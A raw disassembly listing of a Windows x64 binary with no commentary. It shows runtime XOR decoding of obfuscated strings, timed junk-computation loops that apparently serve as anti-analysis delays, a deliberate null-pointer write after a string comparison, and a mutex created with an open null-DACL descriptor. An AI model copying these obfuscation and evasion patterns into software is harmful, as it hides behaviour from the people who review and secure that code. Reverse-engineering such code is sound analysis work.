pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x14024c6c0
cmp r9d, 0x32
jge 0x14024c8f7
movsxd rax, r9d
lea r10, [rsp + 0x4f0]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x32
jl 0x14024c8a0
lea rax, [rsp + 0x4f0]
mov rcx, r12
inc rcx
cmp byte [rax + rcx], 0
jne 0x14024c902
movabs rbx, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xb70]
sub rbx, rdx
cmp rbx, rcx
jb 0x140253e6a
lea rax, [rsp + 0xb60]
cmp qword [rsp + 0xb78], 0x10
cmovae rax, qword [rsp + 0xb60]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x4f0]
lea rcx, [rsp + 0x930]
call fcn.14025e2d0
or dword [rsp + 0x94], 2
lea rcx, [rsp + 0x930]
jmp 0x14024ccf7
movups xmm0, xmmword [0x1402ab828]
movups xmmword [rsp + 0x478], xmm0
movups xmm1, xmmword [0x1402ab838]
movups xmmword [rsp + 0x488], xmm1
movups xmm0, xmmword [0x1402ab848]
movups xmmword [rsp + 0x498], xmm0
movsd xmm0, qword [0x1402ab858]
movsd qword [rsp + 0x4a8], xmm0
mov eax, dword [0x1402ab860]
mov dword [rsp + 0x4b0], eax
movzx eax, word [0x1402ab864]
mov word [rsp + 0x4b4], ax
cmp dword [0x1402bd008], 2
jl 0x14024cc07
movdqa xmm10, xmmword [0x1402ad0a0]
mov r9d, edi
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov ecx, 0x1f
movd xmm9, ecx
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x47c]
mov edx, dword [rsp + 0x50]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x14024ca40
cmp r9d, 0x3e
jge 0x14024cc77
movsxd rax, r9d
lea r10, [rsp + 0x478]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3e
jl 0x14024cc20
lea rax, [rsp + 0x478]
mov rcx, r12
inc rcx
cmp byte [rax + rcx], 0
jne 0x14024cc82
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xb70]
sub rax, rdx
cmp rax, rcx
jb 0x140253e6a
lea rax, [rsp + 0xb60]
cmp qword [rsp + 0xb78], 0x10
cmovae rax, qword [rsp + 0xb60]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x478]
lea rcx, [rsp + 0x950]
call fcn.14025e2d0
or dword [rsp + 0x94], 4
lea rcx, [rsp + 0x950]
call fcn.140210b20
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x49d4], 0xffffffff
mov dword [rsp + 0x3654], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3654], eax
inc rdx
cmp rdx, 0x270
jb 0x14024cd20
mov dword [rsp + 0x3650], 0x270
mov dword [rsp + 0x40], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024cd6f
imul rax, rax, 0x64
jmp 0x14024cd8a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r15, [rax + 0x5f5e100]
mov qword [rsp + 0x48], r15
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024cdb4
imul rax, rax, 0x64
jmp 0x14024cdcf
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x14024cfbf
mov qword [rsp + 0x98], 0x186a0
mov r15d, 1
nop word [rax + rax]
lea rcx, [rsp + 0x3650]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024ce2b
nop dword [rax + rax]
lea rcx, [rsp + 0x3650]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024ce10
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r15d
lea rcx, [rsp + 0x3650]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r13d, ebx
cmp eax, 0xc9
jae 0x14024ce8b
cmp eax, 0x64
jae 0x14024ce8b
lea rcx, [rsp + 0x3650]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024ce70
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x3650]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, r13d
cmp eax, 0xc9
jae 0x14024cefb
cmp eax, 0x64
jae 0x14024cefb
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x3650]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024cee0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x3650]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r13d, ebx
cmp eax, 0xc9
jae 0x14024cf6b
cmp eax, 0x64
jae 0x14024cf6b
nop word [rax + rax]
lea rcx, [rsp + 0x3650]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024cf50
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r13d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r13d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x98], r15
jne 0x14024cdf0
mov r15, qword [rsp + 0x48]
jmp 0x14024cd96
mov eax, dword [rsp + 0x40]
mov eax, dword [str.ppvpI]
mov dword [rsp + 0x80], eax
movzx eax, byte [0x1402aa420]
mov byte [rsp + 0x80], 0x31
xor byte [rsp + 0x81], 0x43
xor byte [rsp + 0x82], 0x45
xor byte [rsp + 0x83], 0x47
xor al, 0x49
mov byte [rsp + 0x84], al
lea rcx, [rsp + 0x80]
mov rax, r12
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14024d010
lea rcx, [0x1402c04a0]
cmp qword [0x1402c04b8], 0x10
cmovae rcx, qword [0x1402c04a0]
mov r8, qword [0x1402c04b0]
cmp r8, rax
jne 0x14024d311
lea rdx, [rsp + 0x80]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14024d311
mov qword [0], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x5d64], 0xffffffff
mov dword [rsp + 0x49e4], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x49e4], eax
inc rdx
cmp rdx, 0x270
jb 0x14024d080
mov dword [rsp + 0x49e0], 0x270
mov dword [rsp + 0x40], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024d0cf
imul rax, rax, 0x64
jmp 0x14024d0ea
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r13, [rax + 0x5f5e100]
mov qword [rsp + 0x48], r13
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024d114
imul rax, rax, 0x64
jmp 0x14024d12f
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r13
jge 0x14024d308
mov r15d, 0x186a0
mov r13d, 1
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x49e0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024d18b
nop dword [rax + rax]
lea rcx, [rsp + 0x49e0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024d170
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rsp + 0x49e0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov esi, ebx
cmp eax, 0xc9
jae 0x14024d1eb
cmp eax, 0x64
jae 0x14024d1eb
nop
lea rcx, [rsp + 0x49e0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024d1d0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x49e0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, esi
cmp eax, 0xc9
jae 0x14024d24e
cmp eax, 0x64
jae 0x14024d24e
lea rcx, [rsp + 0x49e0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024d233
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x49e0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov esi, ebx
cmp eax, 0xc9
jae 0x14024d2bb
cmp eax, 0x64
jae 0x14024d2bb
nop word [rax + rax]
lea rcx, [rsp + 0x49e0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024d2a0
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv esi
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv esi
mov dword [rsp + 0x40], edx
sub r15, r13
jne 0x14024d150
mov r13, qword [rsp + 0x48]
jmp 0x14024d0f6
mov eax, dword [rsp + 0x40]
jmp 0x140253c6c
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x70f4], 0xffffffff
mov dword [rsp + 0x5d74], eax
mov edx, 1
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x5d74], eax
inc rdx
cmp rdx, 0x270
jb 0x14024d330
mov dword [rsp + 0x5d70], 0x270
mov dword [rsp + 0x40], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024d37f
imul rax, rax, 0x64
jmp 0x14024d39a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r15, [rax + 0x5f5e100]
mov qword [rsp + 0x48], r15
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024d3c4
imul rax, rax, 0x64
jmp 0x14024d3df
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x14024d5cf
mov qword [rsp + 0x98], 0x186a0
mov r15d, 1
nop word [rax + rax]
lea rcx, [rsp + 0x5d70]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024d43b
nop dword [rax + rax]
lea rcx, [rsp + 0x5d70]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024d420
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r15d
lea rcx, [rsp + 0x5d70]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r13d, ebx
cmp eax, 0xc9
jae 0x14024d49b
cmp eax, 0x64
jae 0x14024d49b
lea rcx, [rsp + 0x5d70]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024d480
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x5d70]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, r13d
cmp eax, 0xc9
jae 0x14024d50b
cmp eax, 0x64
jae 0x14024d50b
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x5d70]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024d4f0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x5d70]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r13d, ebx
cmp eax, 0xc9
jae 0x14024d57b
cmp eax, 0x64
jae 0x14024d57b
nop word [rax + rax]
lea rcx, [rsp + 0x5d70]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024d560
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r13d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r13d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x98], r15
jne 0x14024d400
mov r15, qword [rsp + 0x48]
jmp 0x14024d3a6
mov eax, dword [rsp + 0x40]
lea rdx, [0x1402c0110]
cmp qword [0x1402c0128], 0x10
cmovae rdx, qword [0x1402c0110]
mov r8, qword [0x1402c0120]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140261540
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x1402c04b8], 0x10
lea rdx, [0x1402c04a0]
cmovae rdx, qword [0x1402c04a0]
mov r8, qword [0x1402c04b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140261540
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x1402c0478], 0x10
lea rdx, [0x1402c0460]
cmovae rdx, qword [0x1402c0460]
mov r8, qword [0x1402c0470]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140261540
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xb48], 0x18
mov dword [rsp + 0xb58], edi
mov edx, 0x28
lea ecx, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov r15d, 1
mov edx, r15d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov qword [rsp + 0xb50], rbx
movsd xmm0, qword [0x1402abed8]
movsd qword [rsp + 0xa0], xmm0
mov eax, dword [0x1402abee0]
mov dword [rsp + 0xa8], eax
movzx eax, byte [0x1402abee4]
mov byte [rsp + 0xac], al
mov r9d, edi
mov r13d, dword [0x1402bd008]
lea ebx, [r15 + 5]
cmp r13d, 2
jl 0x14024d8ff
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, ebx
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402abed8]
pxor xmm3, xmm0
movd dword [rsp + 0xa0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xa4]
pxor xmm3, xmm1
movd dword [rsp + 0xa4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xa0]
add r10, rax
movabs r15, 0xff00ff00ff00ff00
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14024d920
lea rcx, [rsp + 0xa0]
mov rax, r12
inc rax
cmp byte [rcx + rax], 0
jne 0x14024d982
mov rcx, qword [0x1402c0120]
movabs rdx, 0x7fffffffffffffff
sub rdx, rcx
cmp rdx, rax
jb 0x140253e6a
cmp qword [0x1402c0128], 0x10
lea rdx, [0x1402c0110]
cmovae rdx, qword [0x1402c0110]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa0]
lea rcx, [rsp + 0x588]
call fcn.14025e2d0
or dword [rsp + 0x94], 8
lea r8, [rsp + 0x588]
cmp qword [rsp + 0x5a0], 0x10
cmovae r8, qword [rsp + 0x588]
mov edx, 1
lea rcx, [rsp + 0xb48]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0x588]
call fcn.140259200
movsd xmm0, qword [0x1402a97f8]
movsd qword [rsp + 0xb0], xmm0
mov eax, dword [0x1402a9800]
mov dword [rsp + 0xb8], eax
movzx eax, word [0x1402a9804]
mov word [rsp + 0xbc], ax
cmp byte [0x1402a9805], 0
je 0x14024dcc7
mov r9d, edi
cmp r13d, 2
jl 0x14024dc57
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, ebx
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
